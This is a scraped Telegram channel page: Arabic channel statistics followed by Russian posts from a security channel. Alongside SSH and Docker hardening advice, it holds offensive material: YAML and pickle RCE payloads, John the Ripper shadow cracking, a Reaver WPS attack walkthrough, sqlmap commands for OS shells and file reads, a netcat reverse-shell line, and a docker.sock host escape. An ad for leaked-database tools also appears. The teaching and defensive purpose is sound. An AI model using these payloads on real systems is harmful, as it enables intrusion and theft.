CodeGuard: PySec Edition
Канал по ИБ и этичному хакингу. Автор: @Arakcheev_Ruslan Ссылка: @invite_CodeGuard Рекламный менеджер: @Diggsale Биржа: https://telega.in/c/+3X56uL4A-UM3Njgy
إظهار المزيد📈 نظرة تحليلية على قناة تيليجرام CodeGuard: PySec Edition
تُعد قناة CodeGuard: PySec Edition لاعباً نشطاً. يضم المجتمع حالياً 14 097 مشتركاً، محتلاً المرتبة 8 767 في فئة التكنولوجيات والتطبيقات والمرتبة 45 898 في منطقة روسيا.
📊 مؤشرات الجمهور والحراك
منذ تأسيسه في невідомо، حقق المشروع نمواً سريعاً وجمع 14 097 مشتركاً.
بحسب آخر البيانات بتاريخ 25 سبتمبر, 2026، تحافظ القناة على نشاط مستقر. خلال آخر 30 يوماً تغيّر عدد الأعضاء بمقدار 815، وفي آخر 24 ساعة بمقدار 21، مع بقاء الوصول العام مرتفعاً.
- حالة التحقق: غير موثّقة
- معدل التفاعل (ER): يبلغ متوسط تفاعل الجمهور 10.25%. وخلال أول 24 ساعة من النشر يحصد المحتوى عادةً 5.55% من ردود الفعل نسبةً إلى إجمالي المشتركين.
- وصول المنشورات: يحصل كل منشور على متوسط 1 445 مشاهدة. وخلال اليوم الأول يجمع عادةً 783 مشاهدة.
- التفاعلات والاستجابة: يتفاعل الجمهور بانتظام؛ متوسط التفاعلات لكل منشور يبلغ 7.
- الاهتمامات الموضوعية: يركز المحتوى على مواضيع رئيسية مثل codeguard, pysec, docker, grep, контейнер.
📝 الوصف وسياسة المحتوى
يصف المؤلف القناة بأنها مساحة للتعبير عن الآراء الذاتية:
“Канал по ИБ и этичному хакингу.
Автор: @Arakcheev_Ruslan
Ссылка: @invite_CodeGuard
Рекламный менеджер: @Diggsale
Биржа: https://telega.in/c/+3X56uL4A-UM3Njgy”
بفضل وتيرة التحديث المرتفعة (أحدث البيانات بتاريخ 26 سبتمبر, 2026) تحافظ القناة على حداثتها ومستوى وصول مرتفع. وتُظهر التحليلات تفاعلاً نشطاً من الجمهور، ما يجعلها نقطة تأثير مهمة ضمن فئة التكنولوجيات والتطبيقات.
yaml.load() делает то же самое - и это почему-то игнорируют.
Уязвимый код:
import yaml
data = yaml.load(user_input) # RCE готов
Payload:
!!python/object/apply:os.system ["whoami"]Одна строка - и у атакующего shell. Где встречается:
🔵 Парсинг конфигов из внешних источников 🔵 API, принимающие YAML 🔵 CI/CD пайплайны с пользовательскими .yml 🔵 Kubernetes-манифесты от пользователейПравильно:
# Всегда используй safe_load
data = yaml.safe_load(user_input)
# Или явно укажи Loader
data = yaml.load(user_input, Loader=yaml.SafeLoader)
safe_load() не поддерживает конструкцию !!python/object — RCE невозможен.
Проверить проект:
# Найти все небезопасные вызовы
grep -r "yaml.load(" --include="*.py" | grep -v "safe_load\|SafeLoader"
Мораль: если видишь yaml.load() без SafeLoader - это дыра.
😈 CodeGuard: PySec Edition | Чатpickle — стандартный способ сериализации объектов в Python. И он же — одна из самых опасных дыр, о которой многие забывают.
В чём проблема?
pickle.loads() при десериализации выполняет произвольный код. Это не баг — это фича. И злоумышленники это обожают.
Как выглядит атака:
import pickle
import base64
class Exploit:
def __reduce__(self):
import os
return (os.system, ('whoami',))
# Создаём вредоносный payload
payload = base64.b64encode(pickle.dumps(Exploit()))
print(payload)
Теперь любой сервер, который сделает pickle.loads() на этих данных — выполнит команду. Reverse shell, удаление файлов, что угодно.
Где это встречается в реальности:
🔴 Redis + Python — если храните сериализованные объекты 🔴 Flask sessions — при неправильной настройке 🔴 ML-модели — .pkl файлы из интернета (да, те самые с Hugging Face и Kaggle) 🔴 Распределённые системы — Celery, межсервисное общение 🔴 Кэширование — самописные решенияПроверка на уязвимость: Инструмент
fickling анализирует pickle-файлы на вредоносность:
pip install fickling
fickling --check-safety model.pkl
Как защититься:
🔴 Никогда не делайте pickle.loads() на данных из недоверенных источников 🔴 Используйте безопасные альтернативы: json, msgpack, protobuf 🔴 Для ML-моделей — формат safetensors вместо pickle 🔴 Если pickle неизбежен — подписывайте данные (HMAC) и проверяйте подпись до десериализации
import hmac
import hashlib
def safe_pickle_loads(data: bytes, key: bytes):
signature, payload = data[:32], data[32:]
expected = hmac.new(key, payload, hashlib.sha256).digest()
if not hmac.compare_digest(signature, expected):
raise ValueError("Invalid signature")
return pickle.loads(payload)
Мораль: pickle — это eval() в овечьей шкуре. Относитесь к нему соответственно.
😈 CodeGuard: PySec Edition | Чат🔵Linux /etc/shadow: Современные системы используют sha512crypt ($6$), sha256crypt ($5$) или bcrypt ($2b$). Важно: это не "чистый" SHA-512, а специальная медленная функция (KDF), созданная для защиты от подбора. 🔵Windows: Хеши NTLM (из SAM-файлов). 🔵Веб-приложения и базы данных: MD5, SHA-1, SHA-256 (часто без соли, что упрощает подбор). Архивы и документы: Пароли от ZIP, RAR, PDF и файлов Microsoft Office.Базовый сценарий: Аудит паролей в Linux Представьте, что вы системный администратор и хотите проверить, нет ли в вашей системе учетных записей со слабыми паролями. 1️⃣ Подготовка хешей John не работает с файлом /etc/shadow напрямую. Нужно объединить его с /etc/passwd с помощью утилиты unshadow.
# Объединяем файлы, чтобы John правильно идентифицировал пользователей
sudo unshadow /etc/passwd /etc/shadow > users.hash
2️⃣ Запуск атаки по словарю
Самый быстрый метод — проверить пароли по известным словарям слабых паролей (например, rockyou.txt).
# Указываем формат хеша для точности и скорости (для Ubuntu/Debian это обычно sha512crypt) john --format=sha512crypt users.hash --wordlist=rockyou.txtJohn начнет перебор. Если пароль найден в словаре, он будет сохранен. 3️⃣ Просмотр результатов Чтобы увидеть, какие пароли были найдены, используйте команду: john --show users.hash Результат (пример):
2 password hashes cracked, 15 leftВывод: John обнаружил в системе две учетные записи со слабыми паролями, известными из публичных словарей. Это критическая уязвимость. Как это работает изнутри:
🔵Атака по словарю (Dictionary): Быстрая проверка пароля против заранее подготовленного списка (например, password123, qwerty). 🔵Перебор (Brute-force): Методичный перебор всех возможных комбинаций символов. Мощный, но очень медленный. 🔵Гибридная атака (Hybrid): Комбинация словаря и перебора. К словам из списка добавляются цифры или символы (например, password123).Профилактика: Как защититься?
🔴Используйте длинные и сложные пароли. Идеально — 3-4 случайных слова через дефис (кофе-дождь-радуга-42). 🔴Применяйте менеджеры паролей (KeePass, Bitwarden). Они генерируют и хранят уникальные сложные пароли для каждого сервиса. 🔴 Включайте двухфакторную аутентификацию (2FA) везде, где это возможно. 🔴Для серверов: Настройте политику блокировки учетных записей после нескольких неудачных попыток входа и используйте аутентификацию по SSH-ключам вместо паролей.😈 CodeGuard: PySec Edition | Чат
🔵Telegram: все данные на серверах Павла Дурова 🔵Signal: все данные у Open Whisper Systems 🔵Вас взломали? Все чаты слили.Как работает на железе: Каждое сообщение — это JSON-событие с цепочкой хешей:
{
"type": "m.room.message",
"content": {
"msgtype": "m.text",
"body": "Зашифрованное сообщение"
},
"sender": "@user:matrix.org",
"room_id": "!abc123:matrix.org",
"event_id": "$event_hash",
"origin_server_ts": 1735430400000
}
Каждый сервер хранит полную историю комнаты, которую он знает. Удалить сообщение нельзя (у всех остаётся копия), но можно редактировать (новое событие поверх старого).
E2EE: не как Signal, а лучше
🔵Signal: одна комната = один ключ 🔴Matrix: использует обновляемую цепочку ключей (Megolm ratchet), где ключ для расшифровки меняется с каждым сообщением, обеспечивая forward secrecy на уровне сессииOlm/Megolm — криптография:
🔵Cross-signing: если доверяю устройству А, автоматически доверяю всем его друзьям 🔵Key backups: зашифрованная бэкап-фраза в облаке, можешь восстановить ключи на новом девайсе 🔵Forward secrecy: даже если взломают один ключ, старые сообщения не расшифруются⚠️ Честно о минусах:
🔴Метаданные (кто с кем в комнате, когда пишет) видны homeserver 🔴Федерация = сложнее аудит. Ненадёжный сервер может логировать всё 🔴Синхронизация комнат может лагать при 10K+ юзеровИнтересный факт: Французская армия мигрировала на Matrix для classified communications. Это не хипстерский эксперимент — это real-world е2ee infrastructure для госучреждений. Немецкое министерство обороны то же самое. 😈 CodeGuard: PySec Edition | Чат
🔴Понимание этических и правовых основ хакинга — зачем нужен пентест и как остаться в правовом поле. 🔴Основы работы с Metasploit Framework — структура, модули, полезные команды и workflow. 🔴 Изучение типов атак и уязвимостей — от сканирования до эксплуатации. 🔴 Настройка безопасной лаборатории для практики — виртуальные машины, песочницы и шаблоны тестовых сетей. 🔴 Реальные кейсы: имитация атак и анализ результатов без ущерба для реальных систем. 🔴 Пошаговое выполнение теста безопасности: поиск, эксплуатация, постэксплуатация, отчет. 🔴 Навык читать и понимать отчеты пентестов и переводить технику в рекомендации по защите.😈 CodeGuard: PySec Edition | Чат
🔵Архитектура IoT и типовые протоколы (MQTT, CoAP, BLE, ZigBee) 🔵Анализ микроконтроллеров, прошивок и бинарей под ARM и MIPS 🔵Тестирование безопасности — от UART и JTAG до сетевых эксплойтов 🔵Разбор реальных кейсов атак на камеры, роутеры и умные колонкиДля кого:
🔴Реверс-инженеров и исследователей IoT 🔴ИБ-специалистов, работающих с встраиваемыми системами 🔴Пентестеров, автоматизаторов и энтузиастов hardware hacking👩💻 Кликай и качай 😈 CodeGuard: PySec Edition | Чат
🔴Ключи без passphrase = мгновенный доступ без вопросов 🔴authorized_keys с неправильными правами доступа 🔴Нет ротации: ключ от стажировщика 2023 года до сих пор валяется 🔴GitHub/сервисы скомпрометированы → твои приватные ключи в даркнете7 шагов, чтобы SSH не стал дырой в кармане 1️⃣ Проверь права на ключи
find ~/.ssh -type f -name "id_*" -exec chmod 600 {} \;
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys # Только владелец может читать и писать
Никому кроме владельца не должно быть доступа на запись.
2️⃣ Добавь passphrase ко всем ключам
ssh-keygen -p -f ~/.ssh/id_rsa
Без passphrase ключ — бесполезен в чужих руках, но = полный доступ в твоих.
3️⃣ Отключи пароли в SSH
sudo nano /etc/ssh/sshd_config
Найди и отредактируй эти строки:
PasswordAuthentication no PermitRootLogin no PubkeyAuthentication yesЗатем перезагрузи сервис:
sudo systemctl restart sshd
4️⃣ Аудит authorized_keys
# Просмотри все добавленные ключи и их отпечатки
ssh-keygen -lf ~/.ssh/authorized_keys
# Или посмотри содержимое вручную
cat ~/.ssh/authorized_keys
# Проверь время последнего доступа к файлу
stat ~/.ssh/authorized_keys
Вручную проверь: кто эти ключи добавил? Когда? Откуда? Если видишь ключи, которых не признаёшь — удали их немедленно.
5️⃣ Ротация ключей (каждые 90 дней)
# Генерируем новый ключ
ssh-keygen -t ed25519 -C "admin@2025-12" -f ~/.ssh/id_ed25519_new
# Добавляем на все сервера
ssh-copy-id -i ~/.ssh/id_ed25519_new.pub user@server
# Тестируем подключение с новым ключом
ssh -i ~/.ssh/id_ed25519_new user@server
# После проверки: удаляем старый ключ из authorized_keys на всех серверах
Старые ключи = вчерашние новости. Регулярная ротация снижает окно уязвимости.
6️⃣ Fail2ban для защиты от brute-force
sudo apt install fail2ban
sudo nano /etc/fail2ban/jail.local
Добавь секцию:
[ssh] enabled = true port = sshd maxretry = 3Перезагрузи fail2ban:
sudo systemctl restart fail2ban
Блокирует IP автоматически после N неудачных попыток.
7️⃣ Мониторинг логинов SSH
На современных системах (systemd):
# Мониторь в реальном времени
journalctl -u ssh -f | grep "Accepted publickey"
# Или смотри историю
journalctl -u ssh -o short-iso -r | grep "Accepted publickey"
На старых системах (syslog):
# Для Debian/Ubuntu
grep "Accepted publickey" /var/log/auth.log
# Для RHEL/CentOS
grep "Accepted publickey" /var/log/secure
В crontab (ежедневные отчёты):
# Добавь в crontab
0 6 * * * journalctl -u sshd --since today -o short | grep "Accepted publickey" | mail -s "SSH логины за день" admin@domain.com
💥 Реальный кейс: Админ забыл удалить ключ уволенного devops. Через 8 месяцев тот зашёл ночью и слил всю БД.
😈 CodeGuard: PySec Edition | Чатsudo cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak
sudo nano /etc/ssh/sshd_config
2️⃣Запрет root и паролей
PermitRootLogin no PasswordAuthentication no PubkeyAuthentication yes3️⃣Ограничение по IP (AllowUsers)
# Только с вашего офиса и VPS AllowUsers admin@192.168.1.100 admin@203.0.113.5 deploy@10.0.0.50 # Или подсети AllowUsers *@203.0.113.0/24Root всё равно заблокирован, но можно @ваш_IP для root при необходимости. 4️⃣Смена порта (обязательно)
Port 2222Боты сканируют 22, ваш 2222 игнорят. Откройте в ufw: sudo ufw allow 2222/tcp 5️⃣Современные алгоритмы 2025
# Только сильные шифры Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com KexAlgorithms curve25519-sha256,[email protected]6️⃣Таймауты и лимиты
ClientAliveInterval 300 ClientAliveCountMax 0 MaxAuthTries 3 LoginGraceTime 30 MaxSessions 2🔑 Генерация и настройка ключей На локальной машине:
ssh-keygen -t ed25519 -C "admin@server" -f ~/.ssh/server_key
ssh-copy-id -i ~/.ssh/server_key.pub [email protected] -p 2222
Права на сервере:
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
chown -R $USER:$USER ~/.ssh
✅Тестирование перед рестартом
sudo sshd -t
# синтаксис конфига
sshd -T | grep -E "(permitrootlogin|passwordauthentication)"
# эффективные настройки
Подключитесь с нового терминала: ssh -p 2222 admin@server
🔄Применение
sudo systemctl restart sshd
sudo ufw deny 22 # закройте старый порт
sudo ufw reload
🚨Fail2ban как вишенка
sudo apt install fail2ban
sudo systemctl enable fail2ban
В /etc/fail2ban/jail.local:
[sshd] enabled = true port = 2222💥Результат: 0% брутфорса, только ваши ключи с ваших IP. Логи чистые. 😈 CodeGuard: PySec Edition | Чат
sudo grep "Failed password" /var/log/auth.log
Выдаст все проваленные SSH-пароли с IP, пользователем и временем. Типичная строка:
Dec 28 10:22:15 server sshd[1234]: Failed password for root from 185.234.217.12 port 54321 ssh2
2️⃣Топ-10 самых активных IP-атакующих
sudo grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr | head -10
Пример вывода:
247 185.234.217.12 189 94.102.49.180 156 45.79.123.45185.234.217.12 сделал 247 попыток за день. Блокировать срочно. 3️⃣Популярные цели брутфорса (пользователи)
sudo grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr | head
Обычно: root (89%), ubuntu (5%), admin (3%). Если видите mysql/postgres значит бот-сканер.
4️⃣Успешные входы после брутфорса (самое страшное)
sudo grep "Accepted password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr
Если IP из топа неудач вдруг "Accepted" значит пароль угадали. Меняйте немедленно.
5️⃣Брутфорс за последние 24 часа
sudo grep "Failed password" /var/log/auth.log | grep "$(date -d '1 day ago' '+%b %d')"
Фильтр по дате. Для старых логов: zgrep на .gz файлах.
6️⃣One-liner мониторинг в реальном времени
sudo tail -f /var/log/auth.log | grep --line-buffered "Failed password\|Accepted"
Видишь поток неудач? Боты работают. "Accepted" = паника.
⚙️ Автоматизация анализа скрипт /usr/local/bin/bruteforce-report.sh
#!/bin/bash
echo "=== БРУТФОРС РЕПОРТ $(date) ==="
echo "Топ IP:"
grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr | head -5
echo "Успешные входы:"
grep "Accepted password" /var/log/auth.log | tail -10
chmod +x и watch -n 300 ./bruteforce-report.sh
🚨Что делать при находке:
🔴fail2ban-client status sshd проверить блокировки 🔴iptables -L | grep DROP ручные баны 🔴SSH-ключи вместо паролей 🔴Port 2222 + PermitRootLogin no💥За час анализа поймёте, кто ломится и насколько агрессивно. Без fail2ban сервер тонет в атаках. 😈 CodeGuard: PySec Edition | Чат
{…устанавливаю личность…}
⌛️ loading . . .
{…
сканирую слитые базы…
}
доступ ✅ разрешён
🎥 системы распознавания лиц
👁️ базы правоохранителей
📁 утилиты для взлома слежки
↑ ↓
Добро пожаловать на самый продвинутый ресурс по кибербезопасности и хакингу
C O N И E C T ⇢ @TechLabsudo airmon-ng start wlan0 # mon0 готов к охоте
sudo airmon-ng check kill # убиваем мешающие процессы
⚪️Шаг 2: Ищем жертву с WPS
sudo wash -i wlan0mon --ignore-locked
Ищем сети с WPS Locked: No — вот они, наши цели!
⚪️ Шаг 3: Лобовая атака Reaver
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -c 6 -K 1
- -vv — спамит логами, чтобы видеть прогресс
- -c 6 — фиксируем канал (из wash)
- -K 1 — stealth mode против блокировок
🔥 Мои настройки для стабильности:
--no-timeout # не сбрасывать при глюках --dh-small # быстрее, но чуть менее надежно --force-ns-noresp # игнорируем неответы⏱️ Результат: TP-Link пал за 4:17. D-Link продержался 7 часов. ⚠️ Важно: - WPS Locked = игра окончена, роутер заблокировал атаки - Качество сигнала > -60dB, иначе тормоза - Pixie Dust атака (pixiewps) может сократить до минут! 🛡 Защита (сразу после теста): 1. Отключи WPS в настройках роутера 2. Поменяй пароль на 20+ символов 3. Обнови прошивку (часто фиксит WPS) 📱 Посмотреть код 😈 CodeGuard: PySec Edition | Чат
🔹 Борьба с атаками по сети: взломы вебок, эксплуатация уязвимостей, малварь, DDoS. 🔹 Технологии: firewall, IDS/IPS, EDR, WAF, анти‑DDoS, SIEM, мониторинг логов и трафика. 🔹Условно: КБ следит, чтобы «хакер не залез в сервак и не унёс базу по сети».Что такое информационная безопасность (ИБ) Информационная безопасность = защита информации в любом виде: в базе, в бумажке, на флешке и в голове сотрудника. Что сюда входит:
🔵 Конфиденциальность, целостность и доступность данных (CIA‑триада). 🔵 Политики, регламенты, классификация данных, физическая защита, пропуска, сейфы, DLP, комплаенс (152‑ФЗ, GDPR и т.п.). 🔵Условно: ИБ следит, чтобы «секрет не утёк ни по сети, ни через флешку, ни через фотку экрана в Telegram».Как это всё стыкуется❔
🔴 КБ — подмножество ИБ: вся кибербезопасность — это часть большой системы информационной безопасности. |🔴 КБ закрывает технику (сети, сервера, софт), ИБ строит рамки: кто к чему имеет доступ, какие данные критичны, какие риски мы вообще принимаем.Если по‑простому:
👉 Хочешь ковырять трафик, эксплойты и логи — это больше КБ. 👉 Хочешь рисовать модели угроз, писать политики, заниматься рисками и комплаенсом — это уже ИБ.😈 CodeGuard: PySec Edition | Чат
docker run --user 1000:1000 image
2️⃣ Включи user namespace remapping в /etc/docker/daemon.json:
{
"userns-remap": "dockeruser:dockeruser"
}
Это изолирует UID 0 (root внутри контейнера) от root на хосте.
Теперь даже “root” в контейнере не сможет повредить систему.
🖥 Проблема 2: Случайные образы с Docker Hub
Случайный образ из интернета может скрывать майнер или троян.
docker scan больше не спасёт — команда устарела.
Решение:
trivy image myimage # Анализ уязвимостей docker history myimage # Проверка слоёв
✔️Используй только официальные образы или Verified Publishers. ✔️Проверяй образ перед включением в production.🔐 Проблема 3: Контейнер с лишними привилегиями Каждый контейнер по умолчанию получает 30+ системных capabilities — больше, чем нужно. Решение:
docker run --cap-drop=ALL \
--cap-add=NET_BIND_SERVICE \ # если нужен порт < 1024
--read-only \
--pids-limit 100 \
image
--cap-drop=ALL — забирает все привилегии.
--cap-add=NET_BIND_SERVICE — даёт только возможность слушать порты 80/443.
--read-only — защищает root FS от записи.
--pids-limit — ограничивает количество процессов, предотвращая fork-bomb.
📄Проблема 4: Секреты в Dockerfile
# ПЛОХО
FROM ubuntu
RUN echo "password=secret123" > /app/config.txt
Пароль навсегда сохранится в истории слоёв.
Решение:
🔴Для Swarm:
echo "supersecret" | docker secret create db_pass -
docker service create --secret db_pass myimage
🔴Для production без Swarm:
docker run -v /etc/docker-secrets:/run/secrets:ro image
# Внутри контейнера: /run/secrets/db_pass
🔴Для development можно временно использовать переменные:
docker run -e DB_PASS=secret image
⚠️ Не делай это в production — env видно через docker inspect.
🌐 Проблема 5: Порты открыты всему миру
# Плохо: доступна всем
docker run -p 0.0.0.0:5432:5432 postgres
Решение:
# Только локально docker run -p 127.0.0.1:5432:5432 postgres # Или через частную сеть docker network create backend docker run --network backend --name db postgres docker run --network backend appВсегда держи базы и приватные сервисы за Docker Network. 0.0.0.0 безопасно только за фаерволом. 📖 Проблема 6: Потерянные логи Контейнер упал — логи исчезли. Решение:
docker run --log-driver local \
--log-opt max-size=10m \
--log-opt max-file=5 \
image
🔴local безопаснее, чем json-file, и автоматически делает ротацию. 🔴Для production — подключай централизованное логирование (ELK, Loki, Datadog и т.д.).💡Главное правило Помни: Docker - не защита, а ответственность. Контейнер - не клетка, а только слой изоляции. Начни с трёх шагов:
✔️ userns-remap ✔️ --cap-drop=ALL ✔️ --read-onlyЭти три пункта защитят от 80% типичных атак. Остальные — бонусом к спокойному сну Админа 😎 😈 CodeGuard: PySec Edition | Чат
sqlmap -u "http://site.com?id=1" — проверить на инъекцию. sqlmap -u "URL" --dbs — список баз данных. sqlmap -u "URL" -D db -T users --dump — выгрузить таблицу.1️⃣ POST и авторизация:
sqlmap -u "URL" --data="user=admin&pass=123" — POST-параметры. sqlmap -r request.txt — запрос из Burp Suite. sqlmap -u "URL" --cookie="PHPSESSID=abc" — с cookies.2️⃣ Обход WAF:
--tamper=space2comment — замена пробелов. --random-agent — случайный User-Agent. --delay=2 — задержка между запросами.3️⃣ Эксплуатация:
--os-shell — получить шелл на сервере. --file-read="/etc/passwd" — прочитать файл. --passwords — извлечь хеши паролей.4️⃣ Оптимизация:
--threads=10 — параллельные потоки. --batch — автоответ "да" на всё. --level=5 --risk=3 — максимальная глубина.🤔 SQLmap поддерживает 30+ СУБД и имеет 50+ tamper-скриптов для обхода WAF, включая Cloudflare и ModSecurity. 😈 CodeGuard: PySec Edition | Чат
nc [IP] [порт] — подключиться к хосту. nc -lnvp 4444 — слушать входящие соединения. nc -z [IP] 20-100 — быстрое сканирование портов. nc -u [IP] [порт] — работа по UDP.Передача файлов:
nc -l -p 4444 > file.txt — принять файл. nc [IP] 4444 < file.txt — отправить файл.Reverse shell:
nc -e /bin/bash [IP] 4444 — отправить шелл. nc -lnvp 4444 — ловить шелл на своей стороне.Отладка:
nc -vz [IP] 443 — проверить, открыт ли порт. echo "GET /" | nc site.com 80 — ручной HTTP-запрос.Флаги:
-n — не резолвить DNS. -v — подробный вывод. -w 3 — таймаут 3 секунды. -k — не закрывать после отключения.Факт: Netcat написан в 1995 году хакером Hobbit. Настолько универсален, что называется "TCP/IP швейцарский нож". 😈 CodeGuard: PySec Edition | Чат
# Плохо: контейнер работает от root
docker run -it ubuntu bash
whoami # root
# Правильно: указать пользователя
docker run -it --user 1000:1000 ubuntu bash
# Или в Dockerfile:
FROM ubuntu
RUN useradd -m appuser
USER appuser
🔹 Проблема: 90% контейнеров в проде работают от root 🔹 Решение: Всегда указывать USER в Dockerfile или --user при запуске2️⃣ Привилегированный режим
# НИКОГДА так не делайте в проде: docker run --privileged nginx # Это даёт контейнеру полный доступ к хосту: # - Все устройства (/dev) # - Возможность монтировать файловые системы # - Отключение всех ограничений # Если нужны конкретные capabilities: docker run --cap-add NET_ADMIN nginx # Вместо --privileged даём только нужное
🔹 Проблема: --privileged используют "чтобы работало", не понимая последствий 🔹 Решение: Использовать --cap-add только для нужных capabilities3️⃣ Монтирование Docker socket
# Популярный антипаттерн для CI/CD: docker run -v /var/run/docker.sock:/var/run/docker.sock myapp # Что может сделать атакующий: docker run -v /:/host -it alpine chroot /host # Полный доступ к файловой системе хоста!
🔹 Проблема: Docker socket = root доступ к хосту 🔹 Решение: Использовать Docker-in-Docker или rootless Docker4️⃣ Образы из непроверенных источников
# Проверить образ на уязвимости: docker scout cves nginx:latest # Или использовать Trivy: trivy image nginx:latest # Сканирование покажет: # CVE-2023-XXXX HIGH openssl 1.1.1k # CVE-2023-YYYY CRITICAL curl 7.74.0
🔹 Проблема: Образы с Docker Hub могут содержать malware или уязвимости 🔹 Решение: Использовать официальные образы, сканировать перед деплоем5️⃣ Секреты в переменных окружения
# Плохо: пароль виден всем docker run -e DB_PASSWORD=supersecret myapp # Любой процесс видит переменные: docker exec container cat /proc/1/environ # Правильно: Docker secrets echo "supersecret" | docker secret create db_pass - docker service create --secret db_pass myapp # Или монтировать файл: docker run -v ./secrets:/run/secrets:ro myapp
🔹 Проблема: Переменные окружения логируются, видны в docker inspect 🔹 Решение: Docker secrets, HashiCorp Vault, файлы с правильными правами6️⃣ Отсутствие лимитов ресурсов
# Контейнер может съесть всю память хоста:
docker run -d memhog # Fork bomb = хост падает
# Установить лимиты:
docker run -d \
--memory=512m \
--memory-swap=512m \
--cpus=0.5 \
--pids-limit=100 \
nginx
🔹 Проблема: Один контейнер может положить весь хост 🔹 Решение: Всегда ставить --memory, --cpus, --pids-limitЧек-лист безопасности Docker:
✔️ Контейнеры работают не от root ✔️ Никакого --privileged в проде ✔️ Docker socket не монтируется ✔️ Образы сканируются на уязвимости ✔️ Секреты не в ENV переменных ✔️ Установлены лимиты ресурсов ✔️ Используется read-only filesystem где возможно ✔️ Сеть изолирована (не --network host)😈 CodeGuard: PySec Edition | Чат
